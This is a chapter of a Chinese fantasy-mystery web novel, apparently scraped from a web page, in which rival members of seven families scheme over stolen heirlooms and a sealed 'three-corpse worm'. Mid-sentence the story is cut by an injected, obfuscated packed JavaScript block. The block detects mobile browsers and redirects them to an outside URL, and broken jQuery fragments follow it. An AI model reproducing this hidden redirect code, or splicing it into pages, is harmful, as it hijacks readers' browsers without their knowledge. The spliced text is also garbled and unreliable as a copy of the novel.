田孟歪到沙发里,正准备听这一老一少唱双簧,就听到门外响起一阵急促的叩门声。
环顾一周,发现自己离门口最近,只好不情不愿的起身开门。
来人是苏和,她一阵风似的跑到魏中岳身边,在老头子耳边低语几句。
魏中岳听完摇摇头,没有说什么,苏和也没有离开。
见孙旸收声,田孟有些不耐。
“愣着干嘛,继续说啊。”
“不如叫上所有人一起听,还有田骏,我觉得他状态有些不太对劲。”苏和小心的看向田孟。
“怎么个不对劲法儿?”孙旸见田孟不说话,便帮着问了一嘴。
“我觉得他可能患上了心理疾病,这些天他一直一个人呆着,跟他搭话时他整个人都处于一种混乱的状态中,自言自语,还有攻击性。”
田孟玩着手指,漫不经心道:“任老婆子给吃什么药了吧,你管他呢,他现在又不是咱们这边的人。”
“可是他自言自语的时候提到老大的名字,我跟高非听了很久,他好像是在和老大对话,并且不止是老大,还有老板!”
话音落下,孙旸与田孟面面相觑,田孟坐直身子,表情严肃,默默掏出手机。
孙旸则干脆坐到田孟身边等着。
他在等田孟联系孟家人,因为又一件家传宝物可能被盗,那就是孟家世代保管的宝物——潮月牙觚。
用它饮水者,能够和被田家祖传宝物斗钟铜釜影响者交流,一定程度上还能影响斗钟铜釜对人之意识的改变深浅,传说在古时被共同用于审问敌寇和叛徒。
听苏和的描述就知道,一定是任老婆子一并将潮月牙觚盗走了。
问题是潮月牙觚并没有放在孟家,而是托付给专门看管阴煞地窍之类的缚灵一族保管的,而且在上船前由田母亲自确认过,任老婆子难道会分身术?!
可这事儿如果不是任君竹干的,会是谁让田骏做这个试验品呢?
背后阴谋者利用田骏达成目的,但却忽略了一个问题,这个问题只有七大家族中的极少数人知道,其中包含上一任会长孙旸。
那就是使用潮月牙觚饮水的讲究——一人一钱。
意思是每与被铜釜影响的一个人对话,就只能饮用一枚铜钱大小的水量,毫厘不可有误,且非特殊八字者,普通人身体承受极限就只有一钱水,苏和说田骏出现精神混乱、自言自语的表现,这明显就是饮水量不对的直接征状。
对方如果不是不懂使用方法,那就是想要将田骏利用完后,直接销毁证据。
田骏要是变成了一个疯子,他们就算发现了,也永远也问不出想要的东西。
能做到这种地步,这个人背后的野心可见一斑。
这座庄园里的信号还是时有时无,好一会儿,田孟拨打的电话才被接通,那边确认了田孟的身份后,还没等她问话,就先告诉田孟,看守潮月牙觚的缚灵一族突然失联,田家和孟家正在派人过去查看情况。
缚灵一族不会轻易离开他们的聚居地,也不会不清不楚的与雇主失去联系,唯一的解释,就是出了什么事,生死攸关的大事。
能够提前布好这样一盘大棋,这个人的身份令田孟感到毛骨悚然。
孙旸明白田孟的担忧,他问苏和:“田骏现在人在哪里?”
“他在一个空房间里,高非看着呢。”
“带我们去见他。”
“可以是可以,但我想叫上白雨来。”
其实苏和的怀疑对象是田孟本人,所以方才她第一时间只告诉了魏老爷子这件事,后面也一直在观察田孟的反应。
无论凶手是谁,苏和都想对田骏的安全多一分保障,这是她对老大的承诺。
对于田孟的那通电话,苏和有些在意,但由于距离问题,她没有听到内容。
“爱叫谁叫谁,先带我们去!”田孟有些着急。
她怕晚一步,田骏就真的变成一个疯子,谁知道他喝水多久了!
走了两步,田孟又突然停下来对魏中岳道:“老爷子,麻烦您托人查查赵家的东西还在不在,事关重大,咱们分两头行动,务必及时收回被盗的宝贝!”
“我知道轻重,你和小旸过去看看,如果能问到陈家那两个孩子的事情最好,如果问不到,尽量保田骏性命,他会是后续抓贼的重要的人证。”
一行人很快离开这间屋子,只剩魏中岳一人,他打开竹筒,取出里面的字条,看完后在背面做下回复,让擎苍带走。
麻烦接踵而至,渐渐超出他的掌控。
缚灵一族看守他人的宝贝其实只能算是“副业”,他们的主要任务还是封锁各个被断掉的龙脉,防止地气生长过度,成为聚邪煞地。
自古以来,龙脉便是应天时、天人而生,影响着一个时代的气运,龙脉一旦断裂就不可再恢复,但会持续杂乱生长,如同野草,“重生”的龙脉不是龙脉,而是无主之地,即所谓聚邪煞地。
虽说是聚邪煞地,但对生活在周边的普通人没有影响,问题在于总有一些走偏门的人会利用聚邪煞地之中的邪气搞出一些麻烦的事情来,满足他们自己的私欲。
聚邪煞地之中的邪气并不是取之不尽的,若要其持续不断的产生,则要吸收周围地气、人气作为供给,长此以往,那片土地就会成为“干涸”地,居住在周边的普通人也会变得神智不清。
任君竹想得到三尸虫,估计也在打着聚邪煞地的主意,三尸虫若是得到聚邪煞地的滋养,七大家族必然首当其冲。
任君竹少年得意,六岁便进入王家,成为十二律的一员,然而她位属六律最下游,又多年不得长进,看到前人的下场,有这样的心思也不奇怪。
说起来,庞家的那个所谓“宝物”就是在一个聚煞地发现的,邪门儿得很,当年本来要被当时的会长销毁掉,但机缘巧合被庞家得到,这些年,明里暗里也起过不少“作用”。
后面的会长私底下上不追究,自然是也得到了好处。
其实只要齐骨王窟里的东西不出事,这些稍稍出阁的事情都无伤大雅,可现在局面乱成一锅粥,庞家那东西就成了随时会威胁到其他六家的危险品。
无论如何,不能抢走,那就毁掉!
他绝不允许有人妄想改变既定的规矩,哪怕是会长也不可以。
拨通手机里的号码,魏中岳清了清嗓子。
是时候,让这位新任的会长出来表个态,毕竟他才是这场戏的主角。
“说曹操曹操到,我正准备动身去找您。”电话那头的庞行由一改内敛的性子,语气从容而自信。
“那正好,我们几家子也有事想和会长商议,那就恭候会长大驾了。”
“哪里的话,会长本来就是服务于七大家族的职位。”
“对了,会长,有件事我得向您禀告一声,孟家的宝贝失窃了,连带着缚灵一族也不知所踪,这件事还要麻烦您出面和王家那边交涉一下。”
“不用。”庞行由笑道,“我来就是为了跟大家解释清楚这件事情。”
“哦?”魏中岳沉吟一阵,“既然会长有自己的安排,那应该早点通知一声,我们也好跟着配合不是?”
“当然需要您的配合,放心。”
见庞行由如此强硬,魏中岳也不再兜圈子。
“那就请会长来的时候把家传宝贝一并带上,方便寻物。”
“这恐怕带不了。”
“您的意思是?”
“因为我家的宝贝也不见了。”
庞行由补充道:“就在上船的前一天。”
“......我明白了,路上小心。”
“嗯。”
电话已经挂断,魏中岳还在回味庞行由的那句话,他们家的宝贝居然会失窃,还是在上船前一天。
作为会长,这件事庞行由没必要说谎。
既然庞行由能够查清自己宝贝失窃的具体时间范围,那么相信对田家和孟家的宝贝心中也有数,怪不得会冒着风险亲自过来。
但要说缚灵一族的失踪跟庞家完全没关系,魏中岳也不相信。
监守自盗并不是一句空
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17281614|198369||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话,从前不是没有过这样的例子。
再者说,如果庞家宝贝失窃当天他们就发现了,那后续的布置也完全来得及。
问题是就在他们初次到达这座庄园时,他还借由苏和的门路和缚灵一族有过交易,很明显,缚灵一族出事就在这几天时间。
这段时间,庞行由已经回到了庞家,连带着陈巽的意识。
说起陈巽的意识,方才庞行由的话打乱了魏中岳的思绪,他本来有意确认陈巽的意识安危,还好庞行由要亲自来一趟。
早知道事情会这样发展,也不用派王沧回国去冒险,现在王沧也下落不明,更不用提斗钟铜釜,没了这东西,那些被调换的意识也换不回来。
再加上被孙旸和田孟故意放出去的赵晟,看来无论如何,这几个月的时间都是一定要等的。
别的他都无所谓,就是他的小孙女独自在家,实在有些不放心,虽然临行前拜托了他的师兄帮忙看顾,但那孩子也是个任性惯了的脾气。
要不要干脆把她也接过来呢?
魏中岳望着灰暗的天空,陷入沉思。
也不知道任君竹进洞没有,顺利的话,她现在应该已经看到了那个自己精心准备的虫茧。
任君竹这边,确实遇上了一个大麻烦。
她按照魏中岳给的提示,费了一番功夫,摸进了齐骨王窟,也顺利找到了三尸虫被封印的其中一个虫茧,就放在魏家所属石刻棺壁的机关里。
就在任君竹动手要取下虫茧时,手背旁三寸位置传来一丝阴森的冷气,吓得她快速缩手。
她就知道魏老奸没这么好心。
打开照明手电,任君竹看到那个身上散发着寒气的东西,是一只约莫一个指节长度的红色蝎子,那东西不知道是从哪里冒出来的,就这么趴在魏家棺壁的机关处,像是在守株待兔。
她在心里庆幸自己的警醒,否则现在应该已经着了道,能不能全须全尾的离开还是未知数。
这种蝎子任君竹年轻的时候是见过的,魏中岳就是用这东西喂养家里的那只大公鸡,对方虽然没有提起这蝎子有毒,但有毒这一点是可以笃定的。
这老东西用这喂鸡的东西来看三尸虫,不可谓不奸诈,她现在要取得三尸虫的虫茧就要去魏家带那只大公鸡来,那大公鸡是吃这蝎子没错,但也不能保证它不吃三尸虫。
要知道那只鸡可是比魏中岳养的那只鹰还凶恶几分。
它若真吞下虫茧,就算让自己破开肚子,虫茧还真不一定毫发无损,这是算准了偷盗者不敢拿三尸虫冒险。
由此看来魏中岳那老小子一直以来,都是提防自己人多过提防外人,这也算是他们七大家族的老传统了。
冷笑几声,任君竹关掉手电,准备出洞。
她记得那老东西有一个孙女,是个独苗,这次出门必然让那孩子一个人守在家里,也许还叫上了昔日的故人。
可已经走到这一步,任君竹也不打算就这么轻易放弃,她可是牺牲了唯一的心腹徒弟,才达成了现在的局面。
无论是捉鹰、捉鸡还是捉人,她都要捉得!
要是走运,真的捉到了魏家小孙女,说不定可以多换一个三尸虫的下落。
退一万步说,就算魏家小孙女那边不能得手,也可以声东击西,将那大公鸡收入囊中。
那鸡不必活着,断气前进洞即可,保留着身上的气息,既能震慑那蝎子,也能防止其误吞虫茧,一举两得。
她才不在乎魏中岳的报复,原因无他,她任君竹的行事原则很简单——没有不敢打的主意,也没有不敢拿的东西!
等她拿到三尸虫,第一件事就是去庞家,把那只臭老鼠弄到手,无论是死是活。
用那臭老鼠和它选中的寄体喂养三尸虫,再放到聚邪阴窍里去,将其炼制成一具活尸。
到时候,她不但能够顺利报仇,还能提升在王家六律中的地位,说不定还能把自己身后的六吕替换下来。
只有顺利进入六吕,她才能直接接触到王家的核心机关层,弄清楚当年的全部真相。